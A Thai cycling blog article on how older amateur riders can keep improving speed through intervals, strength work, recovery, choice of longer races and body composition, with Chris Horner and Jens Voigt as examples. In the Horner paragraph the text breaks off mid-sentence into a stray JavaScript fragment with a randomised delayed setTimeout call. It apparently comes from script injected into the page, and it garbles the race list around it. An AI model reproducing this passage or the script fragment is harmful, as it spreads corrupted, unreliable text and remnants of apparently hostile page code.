• เกี่ยวกับ STEP EXTRA
STEP EXTRA Run more Spin more
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
StepExtra
No Result
View All Result
Home Tips & Technics Cycling Tips

เร็วได้อีก! ขาแรงวัยเก๋า คุณก็ทำได้

stepextra by stepextra
2 June 2015
in Cycling Tips, Feature, Healthy Tips, Tips & Technics
0
เร็วได้อีก! ขาแรงวัยเก๋า คุณก็ทำได้
0
SHARES
0
VIEWS
Share on FacebookShare on Twitter

เร็วได้อีก! ขาแรงวัยเก๋า คุณก็ทำได้

อายุเป็นแค่ตัวเลข อย่าปล่อยให้มันเป็นตัวถ่วงความสามารถของคุณ เชื่อเถอะคนที่อายุมากสามารถพัฒนาการขี่ให้ดีขึ้นและเร็วขึ้นได้

ข้อเท็จจริงที่คุณควรรู้ประการแรกคือ การมีอายุสูงขึ้นย่อมทำให้ความสามารถหรือ performance คุณลดลงอย่างเลี่ยงไม่ได้ การขี่จักรยานก็ไม่อาจจะทำให้เราหนุ่มสาวได้ตลอดไปเช่นกัน แต่เราสามารถเรียนรู้ที่จะขี่จักรยานให้ดีขึ้นและสนุกกับมันมากขึ้นตามวัย

ทำไมเราถึงสามารถขี่ได้ดีขึ้นและเร็วขึ้นได้อีก……

คุณไปถึงจุดสูงสุดของคุณหรือยัง คุณรู้มั้ยว่า Performance potential อยู่ที่ไหน….?

นักกีฬามืออาชีพทั้งหลายจะมีการฝึกที่เข้มข้นตั้งแต่วัยเด็กจนถึงวัยหนุ่มสาวต้นๆ และความสามารถด้านการกีฬา (Athlete performance) จะถึงจุดสูงสุดหรือ Peak Performance ราวๆ ช่วงอายุ 22-35 และหลังจานั้นความสามารถจะลดลงตามอายุ

เหล่านักกีฬาเหล่านี้ได้ผ่านจุดที่เขาสามารถดึงเอาศักยภาพสูงสุดออกมาได้แล้วหรือเรียนรู้แล้ว่า Performance potential อยู่ในระดับไหน มีมากน้อยเท่าไหร แต่สำหรับนักปั่นมือสมัครเล่นอย่างเราๆ ที่เข้ามาสู่วงการปั่นจักรยานเพียงไม่กี่ปี แน่นอนว่าคุณไม่มีทางรู่ว่า Performance Potential อยู่ในระดับไหน ดังนั้นคุณยังมีห้องว่างในการพัฒนาตัวเองให้ปั่นได้ดีขึ้นได้อีก

Older-not-slower-3
ถ้าวัยหนุ่มคุณยังไม่ถึงจุด Peak ที เเสดงว่ายังมีห้องว่างให้คุณพัฒนาได้อีก

อะไรเป็นตัววัดว่าศักยภาพลดลงหรือเพิ่มขึ้น เราวัด Performance จากอะไร….?

การปั่นจักรยานถือว่าเป็นกีฬาแนว Endurance และนักกายภาพได้ให้ 3 ปัจจัยหลักๆ ที่ใช้วัด Endurance performance คือ

  1. Aerobic capacity ความสามารถในการผลิตพลังงานออกมาได้มากที่สุด ในช่วง aerobic ซึ่งสามารถวัดค่าได้โดยการใช้ VO2 max
  2. การเลี้ยงหรือประคองช่วงที่ร่างกายสามารถผลิตพลังงานออกมามากที่สุดในช่วง aerobic ได้มากน้อยนานเท่าไหร ใช้เป็นค่า Thresholds (ถ้าพูดว่า lactate threshold น่าจะคุ้นหูกว่านะครับ)
  3. Efficiency ค่าประสิทธิภาพเมื่อเทียบกับสัดส่วนของร่างกาย ตามความสัมพันธ์ของข้อที่หนึ่งและสอง

นอกจากนี้การสูญเสียมวลกล้ามเนื้อหรือ Muscle mass ก็เป็นส่วนหนึ่งที่ทำให้ performance ลดลงด้วย….

เมื่อแก่ตัวลงการสูญเสียมวลกล้ามเนื้อเป็นเรื่องที่หลีกเลี่ยงไม่ได้ และมวลกล้ามเนื้อที่หายมากคือประเภท type-2 (fast-twitch) ที่ใช้ในการเคลื่อนไหวเร็วๆ หรือใช้ในการระเบิดสปินซ์ นี้ป็นสาเหตุว่าทำไมการตอบสนองจึงช้าลง แต่สำหรับผู้ที่มีการฝึกซ่อมอย่างต่อเนื่อง อัตราการสูญเสียจะน้อยกว่าผู้ที่ไม่ออกกำลังกายเลย

Older-not-slower-2
สิ่งที่ขาดไม่ได้เมื่อเริ่มมีอายุขึ้นคือ การ Refuel และ Recovery

แนวทางการฝึกซ่อม

  1. High-intensity training

ค่า VO2 max สามารถใช้บอกระดับ Performance ของเราได้ ดังนั้นจึงเป็นเรื่องสำคัญในการสร้างหรือรักษาระดับ VO2 max ไว้ และในการฝึกเพิ่มค่า VO2 max แนะนำให้ใช้วิธีฝึกแบบ Interval 2-5 นาที ในการกระตุ้นให้ร่างกายมีระดับ VO2 max ที่สูงขึ้น

  1. Strength training

เพื่อลดอัตราการสูญเสียกล้ามเนื้อการฝึกกล้ามเนื้อจึงขาดไม่ได้ แนะนำให้ทำอย่างน้อย 1-2 ครั้งต่อสัปดาห์ นอกจากจะช่วยในการเสริมสร้างและรักษากล้ามเนื้อแล้วยังช่วยในการรักษาระดับความหนาแน่กระดูกด้วย อย่าเอาแต่ปั่นอย่างเดียวนะครับ

  1. Recovery

การพักพื้นร่างกายก็ถือว่าเป็นหนึ่งในการฝึกด้วย อาจจะทำได้ยากด้วยซ้ำสำหรับใครที่เสพติกการออกกำลังกาย มิใช้เอาแต่ฝึกออกแรงเอาเหงื่ออย่างเดียว เพราะร่างกายต้องการเวลาในการซ่อมแซมและสร้างกล้ามเนื้อมาแทนที่ การพักพื้นยังช่วยรักษาระดับฮอร์โมนในสมดุลด้วย ผู้ที่มีอายุมากขึ้นต้องรู้จักฝึกหรือ Train smart ต้องบาลานซ์ทั้งเรื่องงาน การฝึก การกินและการนอนหลับผักผ่อน

  1. เลือกงานแข่ง

ในเรื่องความเร็วเราไม่อาจจะแข่งกับเหล่าหนุ่มสาววัยรุ่นได้ แต่ในเรื่องคึความอึดไม่แน่นะ ถึงแม้ระดับความฟิตจะลดลงแต่ในเรื่องการรักษาความอึดให้คงเส้นคงวาและประสบการณ์ ถือว่ายังได้เปรียบ ดังนั้นลองเลือกงานแข่งที่ระยะทางไกลเพื่อเพิ่มข้อได้เปรียบในการแข่งกับวัยรุ่น

การเลือกงานแข่ง ระยะทางใกล้ไกลต้องให้สัมพันธ์กับระดับการฝึกหรือประสบการณ์ของเรา ในปัจจุบันงานแข่งในระยะต่างๆ ได้มีการแบ่งกลุ่มอายุ ยิ่งช่วยเพิ่มความสนุกในการแข่งขันให้มากขึ้น

  1. Body composition

Body composition คือสวนประกอบของร่างกายที่ประกอบด้วย มวลกระดูก มวลไขมัน กล้ามเนื้อและน้ำเป็นต้น การดูเพียงน้ำหนักไม่อาจวิเคราะห์ถึงสุขภาพโดยรวมได้ บางทีการมีน้ำหนักมากอาจเป็นเพราะมีมวลกล้ามเนื้อเยอะ มิใช่มวลไขมันเยอะ

การรักษาระดับมวลรวมร่างกายให้สมดุล ช่วยในการรักษาระดับฟิเนสและสุขภาพให้คงที่ ช่วยให้คุณ performance ได้ดีและคงที่มากขึ้น เริ่มต้นซะวันนี้ด้วยการควบคุมอาหารและหมั่นออกกำลังกายบ่อยๆ

ถ้าบอกอย่างนี้แล้วยังไม่เชื่อเรามาดูโปรวัยเก๋ากัน….

Chris Horner

Chris-Horner-Vuleta-2013

นักแข่งมืออาชีพสัญชาติอเมริกา ในปี 2013 ได้สร้างสถิติเป็นนักแข่งที่มีอายุสูงที่สุดที่ชนะงานแข่ง Vuelta Espana ณ อายุ 41 ปี 10 เดือน กับอีก 24 วัน นอกจากนี้ยังมีงานแข่ง Tours of the Basque Country andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and California ที่เขาชนะเมื่อวัย 30+

Jens Voigt

Jens-Voigt-attacking

ชายสูงวัยเยอรมันนผู้เคยชนะงานแข่ง USA Pro Cycling Challenge stage เมื่อเดือนสิงหาคม 2012 ตอนวัย 41 ปี ด้วยการปั่นโซโล 125 กิโลเมตร ปัจจุบันอายุ 43 และยังเป็นโปรประจำทีม Trek Cycling

ที่มา http://www.cyclingweekly.co.uk/news/latest-news/how-to-get-faster-as-you-get-older-172817

ShareTweetShare
stepextra

stepextra

Related Posts

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36
News

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai
News

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้
News

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020
Load More
  • 12.1k Fan
  • 22 Follower
  • 30 Follower

บทความยอดนิยมใน 7 วันนี้

  • วิธีคำนวณ Maximum Heart Rate

    วิธีคำนวณ Maximum Heart Rate

    0 shares
    Share 0 Tweet 0
  • คนกรุงวิ่งไหนดี…9 สวนสาธารณะขนาดกลางเหมาะสำหรับวิ่ง

    0 shares
    Share 0 Tweet 0
  • สถานที่วิ่งในจังหวัดภูเก็ต

    0 shares
    Share 0 Tweet 0
  • อาการอยาก ของหวาน (Sugar Craving) ร่างกายไม่ได้ต้องการน้ำตาลอย่างเดียว

    0 shares
    Share 0 Tweet 0
  • วิตามินและเกลือเเร่ที่สำคัญสำหรับนักปั่นจักรยาน

    0 shares
    Share 0 Tweet 0
StepExtra

STEP EXTRA

Run more, Spin More

เป็นเว็บไซต์ที่รวบรวมและแบ่งปันเรื่องราวดีๆ เกี่ยวกับสุขภาพและกีฬา ไม่ว่าจะเป็น ข่าวสาร, เรื่องน่ารู้, งานวิ่งแข่งและปั่นจักรยานที่น่าสนใจ พร้อมเกร็ดความรู้ดีๆ ที่ช่วยให้คุณสนุกกับการออกกำลังกาย และฟิตร่างกายได้ดียิ่งขึ้น มาเปลี่ยนตัวเองให้เป็นคนใหม่ที่สดใสยิ่งกว่าเดิมด้วยการออกกำลังกายไปด้วยกันกับเรา

  • เกี่ยวกับเรา
  • ติดต่อลงโฆษณา

บทความล่าสุด

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020

Browse by Category

  • Event
    • Cycling Event
    • Running Event
    • Triathlon Event
  • Feature
  • Interview
  • News
    • Cycling News
    • Gadget News
    • Gear News
    • Healthy News
    • PR
    • Running News
    • Shoes
  • Place & Route
    • Cycling
    • Running
  • Reviews
    • Gadget Review
    • Shoes Review
    • Sport Gear
  • Tips & Technics
    • Cycling Tips
    • Gadget Tips
    • Healthy Tips
    • Running Tips
    • Training
  • Travel

Partner

  • Whatphone.net ข่าวมือถือ สมาร์ทโฟน Gadget Games Applications และเทคโนโลยีนำสมัย ทุกแบรนด์ทั่วโลก

© 2014STEP EXTRA

  • ข่าวสาร
  • บทวิจารณ์
  • เกร็ดความรู้
  • สถานที่-เส้นทาง
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping

© 2023 JNews - Premium WordPress news & magazine theme by Jegtheme.

This website uses cookies. By continuing to use this website you are giving consent to cookies being used. Visit our Privacy and Cookie Policy.